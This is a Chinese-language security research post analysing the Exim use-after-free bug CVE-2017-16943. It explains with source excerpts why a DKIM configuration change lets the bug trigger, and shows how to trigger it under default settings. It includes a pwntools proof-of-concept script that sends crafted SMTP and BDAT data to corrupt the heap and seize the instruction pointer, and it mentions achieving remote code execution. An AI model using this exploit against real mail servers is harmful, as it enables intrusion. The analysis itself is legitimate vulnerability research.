1. 程式人生 > 其它 >CVE-2017-16943 Exim UAF漏洞分析——後續

CVE-2017-16943 Exim UAF漏洞分析——後續

作者:Hcamael@知道創宇404實驗室

發表時間:2017年12月13日

上一篇分析出來後,經過@orange的提點,得知了meh公佈的PoC是需要特殊配置才能觸發,所以我上一篇分析文章最後的結論應該改成,在預設配置情況下,meh提供的PoC無法成功觸發uaf漏洞。之後我又對為啥修改了配置後能觸發和預設情況下如何觸發漏洞進行了研究

重新復現漏洞

比上一篇分析中復現的步驟,只需要多一步,註釋了/usr/exim/configure檔案中的control = dkim_disable_verify

然後調整下poc的padding,就可以成功觸發UAF漏洞,控制rip

分析特殊配置下的觸發流程

在程式碼中有一個變數是dkim_disable_verify

, 在設定後會變成true,所以註釋掉的情況下,就為預設值false, 然後再看看receive.c中的程式碼:

BOOL
receive_msg(BOOL extract_recip)
{
......
1733:if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
1734:  dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
1735:#endif

進入了dkim_exim_verify_init函式,之後的大致流程:

dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get(PDKIM_MAX_BODY_LINE_LEN);

bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed -> string_catn -> string_get -> store_get(0x64)

#define PDKIM_MAX_BODY_LINE_LEN     16384       //0x4000

在上一篇文章中說過了,無法成功觸發uaf漏洞的原因是,被free的堆處於堆頂,釋放後就和top chunk合併了。

在註釋了dkim的配置後,在dkim_exim_verify_init 函式的流程中,執行了一個store_get 函式,申請了一個0x4000大小的堆,然後在dkim_exim_verify_init 函式和dkim_exim_verify_feed 函式中,都有如下的程式碼:

store_pool = POOL_PERM;
......
store_pool = dkim_verify_oldpool;
---------------
enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };

store_pool全域性變數被修改為了1,之前說過了,exim自己實現了一套堆管理,當store_pool不同時,相當於對堆進行了隔離,不會影響receive_msg 函式中使用堆管理時的current_block這類的堆管理全域性變數

當dkim相關的程式碼執行結束後,還把store_pool恢復回去了

因為申請了一個0x4000大小的堆,大於0x2000,所以申請之後yield_length全域性變數的值變為了0,導致了之後store_get(0x64)再次申請了一塊堆,所以有了兩塊堆放在了heap1的上面,釋放heap1後,heap1被放入了unsortbin,成功觸發了uaf漏洞,造成crash。(之前的文章中都有寫到)

預設配置情況下復現漏洞

在特殊配置情況下復現了漏洞後,又進行了如果在預設配置情況下觸發漏洞的研究。

在@explorer大佬的教導下,發現了一種在預設情況下觸發漏洞的情況。

其實觸發的關鍵點,就是想辦法在heap1上面再malloc一個堆,現在我們從頭來開始分析

// daemon.c

137 static void
138 handle_smtp_call(int *listen_sockets, int listen_socket_count,
139  int accept_socket, struct sockaddr *accepted)
140 {
......
348 pid = fork();
352 if (pid == 0)
353   {
......
504     if ((rc = smtp_setup_msg()) > 0)
505       {
506       BOOL ok = receive_msg(FALSE);
......

首先,當有新連線進來的時候,fork一個子程序,然後進入上面程式碼中的那個分支,smtp_setup_msg函式是用來接收命令的函式,我們先發一堆無效的命令過去(padding),控制yield_length的值小於0x100,目的上一篇文章說過了,因為命令無效,流程再一次進入了smtp_setup_msg

這時候我們傳送一個命令BDAT 16356

然後有幾個比較重要的操作:

5085       if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093       chunking_data_left = chunking_datasize;
5100       lwr_receive_getc = receive_getc;
5101       lwr_receive_getbuf = receive_getbuf;
5102       lwr_receive_ungetc = receive_ungetc;
5104       receive_getc = bdat_getc;
5105       receive_ungetc = bdat_ungetc;

首先是把輸入的16356賦值給chunking_data_left

然後把receive_getc換成bdat_getc函式

再做完這些的操作後,進入了receive_msg函式,按照上篇文章的流程差不多,顯示申請了一個0x100的heap1

然後進入receive_getc=bdat_getc讀取資料:

534 int
535 bdat_getc(unsigned lim)
536 {
......
546   if (chunking_data_left > 0)
547     return lwr_receive_getc(chunking_data_left--);

lwr_receive_getc=smtp_getc通過該函式獲取16356個字串

首先,我們傳送16352個a作為padding,然後執行了下面這流程:

  • store_extend return 0 -> store_get -> store_release

先申請了一個0x4010的heap2,然後釋放了長度為0x2010的heap1

然後傳送:rn,進入下面的程式碼分支:

1902   if (ch == 'r')
1903     {
1904     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905     if (ch == 'n')
1906       {
1907       if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908       goto EOL;
1909       }

跳到了EOL,最重要的是最後幾行程式碼:

2215   header_size = 256;
2216   next = store_get(sizeof(header_line));
2217   next->text = store_get(header_size);
2218   ptr = 0;
2219   had_zero = 0;
2220   prevlines_length = 0;
2221   }      /* Continue, starting to read the next header */

把一些變數重新進行了初始化,因為之前因為padding執行了store_get(0x4000),所以這個時候yield_length=0 這個時候再次呼叫store_get將會申請一個0x2000大小堆,從unsortbin中發現heap1大小正好合適,所以這個時候得到的就是heap1,在heap1的頂上有一個之前next->text使用,大小0x4010,未釋放的堆。

之後流程的原理其實跟之前的差不多,PoC如下:

r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
# raw_input()
r.sendline('a'*0x1300+'x7f')
# raw_input()
r.recvuntil('command')
r.sendline('BDAT 16356')
r.sendline("a"*16352+':r')
r.sendline('aBDAT x7f')
s = 'a'*6 + p64(0xabcdef)*(0x1e00/8)
r.send(s+ ':rn')
r.recvuntil('command')
#raw_input()
r.send('n')

exp

根據該CVE作者發的文章,得知是利用檔案IO的fflush來控制第一個引數,然後通過堆噴和記憶體列舉來來偽造vtable,最後跳轉到expand_string函式來執行命令,正好我最近也在研究ctf中的_IO_FILE的相關利用(之後應該會寫幾篇這方面相關的blog),然後實現了RCE,結果圖如下:

參考連結

  1. https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/